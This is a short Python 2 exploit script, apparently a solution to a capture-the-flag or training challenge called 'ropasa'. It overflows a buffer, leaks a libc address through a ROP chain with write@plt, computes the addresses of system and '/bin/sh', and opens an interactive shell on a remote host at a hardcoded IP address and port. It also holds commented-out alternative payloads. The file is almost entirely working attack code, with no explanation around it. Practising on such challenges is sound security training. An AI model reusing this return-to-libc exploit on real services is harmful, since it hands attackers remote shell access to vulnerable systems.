import struct
import pwnbox

p = lambda x : struct.pack("<I", x)
up = lambda x : struct.unpack("<I", x)[0]

write_plt = 0x0804830C
read_got = 0x0804961C
pppr = 0x080484b6

func_next = 0x08048426


def main():
	payload = "A" * 0x88 + "BBBB" + p(write_plt) + p(pppr) + p(1) + p(read_got) + p(4) + p(func_next)
	print payload.encode('hex')
	#pipe = pwnbox.pipe.ProcessPipe("/home/newbie/0Reinose/2015Summer/ropasa")
	pipe = pwnbox.pipe.SocketPipe("143.248.2.79",3130)
	pipe.write(payload)
	read_off = up(pipe.read_byte(4))
	
	system_off = read_off - 0x0009fde0
	binsh_off = read_off + 0x00082b88

	print hex(read_off)
	print hex(system_off)
	print hex(binsh_off)

	realpayload = "A"*140 + p(system_off) + "AAAA" + p(binsh_off)
	pipe.write(realpayload)
	pipe.interact()
	pipe.close()

	print ""
	exit()
	"""

	payload1 = "A"*140+"\x0c\x83\x04\x08"+"\xb6\x84\x04\x08"+"\x01\x00\x00\x00\x1c\x96\x04\x08\x04\x00\x00\x00"+"\xf4\x83\x04\x08"
	payload = "A"*136+"\x30\x84\xe6\xb7"+"AAAA"+"\x98\xad\xf8\xb7"

	#pipe = pwnbox.pipe.SocketPipe("143.248.2.79",3130)
	pipe = pwnbox.pipe.ProcessPipe("/home/newbie/0Reinose/2015Summer/ropasa")
	
	pipe.write(payload1)
	pipe.interact()
	pipe.close()"""

if __name__ == "__main__":
	main()
